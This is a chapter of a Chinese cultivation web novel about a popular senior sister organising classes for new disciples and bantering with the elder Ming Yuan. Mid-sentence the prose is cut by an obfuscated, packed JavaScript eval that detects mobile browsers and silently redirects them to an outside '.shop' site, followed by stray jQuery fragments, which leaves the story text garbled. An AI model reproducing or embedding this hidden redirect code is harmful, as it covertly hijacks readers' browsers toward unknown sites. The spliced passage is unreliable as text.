文趣网 > 其他小说 > 师姐太受欢迎了怎么办 > 4. 药材
    徐殊听话地滚去看看新弟子,在周边的群峰溜达了一圈才慢悠悠地到了主峰,晃到一讲堂的窗边,里面正好是年纪最小的一批弟子。

    一个两个杵着毛笔在纸上写写画画,坐在讲台上的长老抚着胡子,看着底下的小孩们乐呵呵地笑。

    徐殊在窗边漏了半片影子,长老不动声色地瞥她,附赠一个“快滚”的眼神信号。

    得咧。徐殊收回原本打算敲窗的手,晃悠晃悠去了另一间屋子,这间里面坐着的都是些十七八岁的弟子。

    她环视一圈,看见他们或是皱眉或是神游或是打瞌睡的神情,不禁莞尔,一回头,看见讲台上的长老目光冷冷地看着她。

    徐殊做了个捂嘴噤声的动作,识相地隐去身形去了别处。

    她不再去看别处,走到校场才重新现了踪迹,想起方才的情形,笑道:“我说今天主峰怎么如此安静。”

    “师姐——”有人轻声喊她。

    徐殊回头,看见何毅和其他几个弟子蹲在校场旁的树荫底下,面上本来满是郁闷的神色,看见她就变得兴奋了。

    她走过去,也蹲下,压低声音:“什么情况?”

    何毅弱弱开口:“荀师姐听你说的去藏书阁请长老,本来只说请几位的——但是长老们看见你拟的课程十分感兴趣,又听是教识字,他们说入道多年还没教过如此根本,实在惭愧,都抢着过来历练。”

    徐殊嘴角一抽:“来了多少?”

    何毅:“本来只打算分三个班的……现在师道的二十三位前辈有十六位有空,他们还特地邀请了宗门外的同道好友……说难得有如此机会。”

    徐殊听的头大:“现在几个班啊?”

    何毅比了个六:“长老们自己排了班,或许还有针对个人的调整。”

    “小班教学。”徐殊闭眼,“还是特级教师,课后还有一对一?”

    “师姐你的表情有点吓人。”

    表情狰狞的师姐使劲地揉了揉自己的脸:“没事,我只是想起了一些不开心的事。”

    她想了想,掏出纸笔写,完了交给何毅:“这个情况进度应该比我想象中快,既如此,就把基础算数和明礼也教了……你跟长老们强调一下,不用往君子那套教,把门规掰扯明白就行。”

    何毅称“好”。

    “上午情况怎么样?”徐殊问。

    何毅:“据上午值班的师弟师妹们说,除了家境好不怎么劳作的,其他人都跑下来了,只是学完拳,年纪较小的肌肉有些许拉伤。”

    徐殊听完点头,对另一人道:“丁师弟,你去找明长老说明情况开个药浴方子,不要灵药,沾了少许灵气的凡间药材即可。按他的医嘱组织弟子们去落雪泡泉,把药材撒里面。”

    丁师弟沉默片刻,问:“一定要问明长老吗?我们落英的医修也能开。”

    徐殊:“但是药材要找他批啊!你们落英的药材不也是他批的吗?”

    丁师弟哭丧个脸:“但是要求这么多明长老会撅我们啊!”

    在逍遥门,灵药好找,他们自己就有个种药材的药院子;在逍遥门山脚的凡间,普通药材更好找;但是非灵药却要有灵气气息的普通药材,不好找了。

    毕竟灵气浓郁的地方,种什么灵药不好,非得种凡间药材。

    不贵,但费时费力。

    他们医修偶尔会用到这种药材,但用量不多,不好成批进货。

    每次都会有落英新弟子不知道情况跑过去要,这个时候负责门内屋子的务事堂长老明远会缓缓摇着扇子,亲切地问候他们是不是喜欢找事,最后叫他们自己滚回去列单子,直到某一种药材到了一定数量才会批了发下来。

    而最近的一批十天前是交上去的,昨天发下来已经给他们分完了,这个时候再去要散件,都不需要明远发话,这个月负责采买的弟子就能把他掐死。

    “这样啊……”徐殊眼珠子一转,有了主意,“你就说是我急着要,可以加价,嗯,多出来的钱就挂崔晓账上。”

    丁师弟:“……这样能行吗?”

    徐殊拍了拍他的肩膀,从乾坤袋里掏了半天摸出一个平安扣,对着这个小挂坠耸鼻,颇有些不满,但还是递给师弟:“算了,凑合用吧,这个他也认识。”

    “明长老吗?”丁师弟捧着东西犹犹豫豫。

    “不然呢?”徐殊看他纠结的表情奇奇怪怪。

    丁师弟松了口气,向师姐告辞往本务堂走。

    他走了几步,突然开始好奇明长老对这个要求和看见平安扣的表情,脚程突然不自觉地加快了。

    何毅看着这位师弟不知道怎么突然积极了许多的步伐,疑惑:落英的医修们都这样奇怪吗?

    正巧这时识字的弟子们下了课,一个个精神萎靡地从教室里走出来,三三两两地往食堂走,一点余光都没往这边看。

    留在树荫底下的亲传们纷纷向徐殊告辞,去干自己分到的差事。

    这下徐殊独自霸占了整棵树,靠着树干欣赏第一天上学的新人们迷茫的神情。

    有几个好学的还没出来,就在里面请教师长,偶有几声爽朗欣慰地笑声特意(加重)传声到她耳边。

    ……幼稚。

    正打算离开时,看见先前去务事堂的丁师弟回来了,往她这边走了两步,突然脸色一变,像是见到鬼一样,慌忙对她拱手一行礼,转身就走。

    嗯?

    一只修长的手从侧边伸出,平安扣松松垮垮地挂在这只手的中指上,被分明的骨节悬空卡着,深红色的绳子衬着这手越发白净。

    徐殊好以整暇地来回打量这只手,手的主人也不急,反手握住平安扣轻柔地、缓慢地反复摩挲。

    啧。

    徐殊一把抓住它,将挂坠从它中指上顺下来,擦过纤细的关节,却被它故意弯曲的手指勾住,她轻轻捏了捏指尖,平安扣这才安然滑到她掌心。

    她收回手,它赶在掌心未闭合前从平安扣中轻轻挠了一下她,又迅速离去。

    “怎么不用印章?”

    清朗的声音微微含笑,从她耳边低低响起。

    “没摸到。”徐殊坦然,“东西太多了。”

    她偏头,看见一双眼尾微翘的桃花眸,碰见她的视线就止不住地弯起来,遮住脸的折扇一收,露出一张清俊的脸庞。

    徐殊站直转向来者:“什么风把我们明长老刮过来了?”

    明远哼笑,“啪”地一声又将折扇展开,测过身斜眼看她:“有人一回来就找我们务事堂这么麻烦,还不肯亲自露面,我不得来看看?”

    徐殊摊张开双臂在他面前转了一圈:“看看。”

    “我没亲自去是好事,说明我没受伤。”

    明远摇了扇子又摇头,用一双漂亮哀愁的眼瞪她:“每次都是受伤了才能想得起来去务事堂找我,真过分啊徐师姐。”

    “那你想怎么样?”徐殊叉腰,理

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728795|208915||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不直气也壮。

    明远眯眼,想了一圈,发现自己并不能怎样,只好玩笑地用扇面盖住她的脸:“无赖。”

    徐殊退后一步躲开他的扇子,张嘴欲驳,结果余光看见几个讲学的长老乐呵呵地捏着胡子走出来,停在门口慈祥地对最后离去的学生叮嘱着什么。

    话在舌尖打了个绕,出来后成了这样:“我请你吃饭吧。”

    明远也看见了这群长老,自觉上前一步替她遮挡不远处的人,好笑道:“又惹什么事了?”

    徐殊:“这倒没有——你吃不吃?”

    明远:“下山?”

    徐殊:“食堂。”

    明远无奈:“你求人就这个态度?”

    徐殊翻了个白眼:“爱吃不吃。”

    明远失笑:“走吧。”

    周围人不多了,他俩站着略有些显眼,学堂门口的人很快就注意到了他们,长老认出了明远的背影:“明——”

    徐殊拽住他的手腕,扯着他就跑。

    明远对长老们招了招手算是回应,一晃神,人就到了食堂。

    徐殊在食堂门口停下,等他整理自己被风吹得有些凌乱的仪表。

    明远一边抖袖子一边感叹:“你跑得真是越来越快了——怎么这么急?”

    徐殊:“会被拉去练字——上次的字帖我还没写完。”

    明远想起了她拿毛笔的别扭样,失笑。

    徐殊对他发起凝视。

    他重新展开扇子遮住自己下不去的嘴角:“走吧?”

    徐殊打掉他递来的另一只手,径直往里走。

    明远从善如流地收回去,跟上她。

    打完饭两人坐在一起,因为明远食不言寝不语的习惯,一时间有些安静。

    但是旁边的丁师弟就不太安静了。

    隔了大半个食堂的丁师弟扯着何毅坐一块,惊恐:“明长老怎么到这来了?”

    何毅习以为常:“跟着师姐嘛,正常。”

    丁师弟:“……我还以为我要被清算了。”

    “怎么说?”

    “之前……嗯,我替师父抢了好几药材单子。”丁师弟有些扭捏,“虽然后面师父都补上了,但也实实在在给务事堂添了不少麻烦。”

    “本来那边的弟子长老对我的印象就一般,这次帮师姐带话,看见明长老阴测测地对我笑,我感觉我要没命了——”

    何毅:“师姐不是给你信物了吗?”

    丁师弟摆手:“那是两回事——帮师姐办事能把我之前干的好事一笔勾销吗?不能!而且我也不知道师姐和明长老关系到底怎么样——这事本来就麻烦,我是最直观带来麻烦的人。万一师姐就这一个人情,用完就清算我呢!”

    何毅笑了:“不至于不至于。”

    丁师弟往那两人看了一眼:“不过师姐和明长老的关系比我想象中好太多了,我记得务事堂有专门的小食堂来着?”

    何毅:“是有来着,你要是想尝尝可以求求师姐带你去。不过前提是你能抓得到她。”

    丁师弟张大嘴巴。

    何毅笑的更开心了:“我记得你入门不到十五年吧?”

    丁师弟点头:“对,我是十年前被师父捡回来的。”

    “难怪,”何毅露出一副“果真如此”的表情,和他解释,“毕竟明长老,和惩戒堂的燕长老——”

    “都是三十多年前,徐师姐亲自下山捡回来的。”